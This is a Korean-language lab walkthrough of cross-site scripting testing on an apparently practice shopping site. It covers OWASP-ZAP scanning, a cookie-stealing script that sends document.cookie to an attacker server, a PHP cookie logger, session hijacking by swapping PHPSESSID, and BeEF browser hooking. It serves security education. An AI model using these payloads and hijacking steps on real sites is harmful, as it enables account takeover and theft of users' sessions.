크로스 사이트 스크립팅은 공격자가 삽입한 악의적인 스크립트가 입력값 겁증 미흡으로 인해 사용자 브라우저에서 실행되는 취약점이다. XSS는 OWASP TOP 10에 매년 등록되는 취약점이다. 공격자는 해당 취약점을 이용해 쿠키 탈취, 악성코드 배포, 피싱 사이트 유도 등의 공격을 수행한다. XSS는 크게 두 유형으로 나뉜다.
Reflected XSS는 데이터베이스가 아닌 외부에 존재하는 악성 스크립트가 희생자 액션에 의해 웹 서버로 전달되고 응답 페이지에 삽입되어 희생자 측에서 동작하는 공격 방식이다.
Stored XSS는 공격자가 삽입한 악의적인 스크립트가 데이터베이스에 저장되는 방식으로, 해당 스크립트에 접근하는 사용자에게 지속적으로 영향을 주는 취약점이다.
굿모닝샵을 대상으로 XSS 취약점을 진단한다. 먼저 OWASP-ZAP [Spider] 기능으로 크롤링을 진행한다.
크롤링을 완료하면 [Active Scan]으로 취약점을 스캔한다.
해당 기능은 Scan Policy를 설정할 수 있다. [Analyse]메뉴 [Scan Policy Manager]창에서 [Add]를 눌러 Policy를 추가한다.
Threshold 값을 Off로 변경하고 Go를 클릭한다.
진단을 원하는 항목의 Threshold와 Strength 값을 설정한다.
[Active Scan]에서 추가한 Policy를 선택한다.
[Show advanced options]를 체크하면 [input Vectors]를 설정할 수 있다. 설정 후 스캔을 시작한다.
스캔이 진행되면서 쇼핑몰에 XSS 공격 패턴이 삽입된다. 스캔이 완료되면 200 OK 응답을 받은 요청을 확인한다.
자료실에 접근하면 경고창이 출력된다.
자료실 게시판을 확인하니 스캔에 의해 다수의 XSS 테스트 글이 저장되었다.
XSS 취약점 수동 진단을 시작한다.
게시판의 모든 입력에 alert 코드를 삽입하여 실행 여부를 확인한다. 글의 내용에서 HTML을 허용하도록 설정한다.
게시판에는 답글 작성 기능이 있다. 답글에도 스크립트 삽입 결과 게시판 모든 입력란에 XSS 취약점이 존재한다.
상품 질문 게시판 점검 결과 제목, 내용 입력란 모두에 XSS취약점이 존재한다.
document.write("<iframe src='http://192.168.219.104/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");
XSS 취약점을 이용해 세션 하이재킹 공격을 수행한다. 공격자 웹 서버에 아래와 같은 스크립트를 준비한다.
$fp = fopen("cookie.html","a+");
$REMOTE_ADDR=$_SERVER['REMOTE_ADDR'];
$REMOTE_PORT=$_SERVER['REMOTE_PORT'];
$HTTP_USER_AGENT=$_SERVER['HTTP_USER_AGENT'];
$HTTP_REFERER=$_SERVER['HTTP_REFERER'];
$cookie = $_GET['cookie'];
위 PHP 코드는 사용자 쿠키와 IP, port, Referer 정보를 저장해 html 페이지에 추가한다.
XSS 취약점이 존재하는 곳에 스크립트를 삽입한다. script 태그 src 속성에 공격자 서버에 위치한 자바스크립트 경로를 설정한다.
사용자는 스크립트 존재를 알지 못한 채 해당 글에 접근해 사용자 브라우저에서 스크립트가 실행된다.
스크립트가 실행되고 공격자 웹 서버 페이지에 사용자 쿠키 정보가 추가되었다. 공격자는 획득한 쿠키 값으로 사용자 권한을 탈취한다. 이를 세션 하이재킹이라고 한다.
개발자 도구 [Application] 탭의 [Cookies]를 확인한다. PHPSESSID 값을 사용자 쿠키 값으로 변조한다.
쿠키 변조 후 새로고침을 하면 로그인 과정 없이 피해자 계정으로 접속된다. 공격자는 해당 권한으로 글을 작성하거나 개인정보를 유출하는 등 불법적인 행위를 할 수 있다.
BeEF(The Browser Exploitation Framework)는 웹 브라우저를 공격하기 위한 공격 모듈이 포함된 공격 테스트 프레임워크이다. BeEF에 대해 알아보고 시나리오 기반 공격을 수행한다.
BeFF는 칼리 리눅스에 기본적으로 설치되어있다. /usr/share/beef-xss 디렉터리로 이동해 beef 실행 파일을 실행하면 beef 서버가 시작된다.
BeEF UI에 접속한다. 계정은 'beef', 패스워드는 '1234' 이다.
ook.js 스크립트를 삽입한 글을 게시판에 등록한다. 해당 스크립트는 사용자가 BeEF 서버로 연결되는 페이로드이다.
사용자는 스크립트 존재를 모른 채 해당 글을 열람한다. 사용자 브라우저에서 hook.js 스크립트가 실행되어 BeEF 서버로 연결된다.
BeEF를 확인한다. [Online Browser]에 후킹된 브라우저 목록이 표시된다. [Details]메뉴에서 브라우저 정보를 확인한다.
후킹한 페이지의 리퍼러 주소와 쿠키 정보를 확인할 수 있다.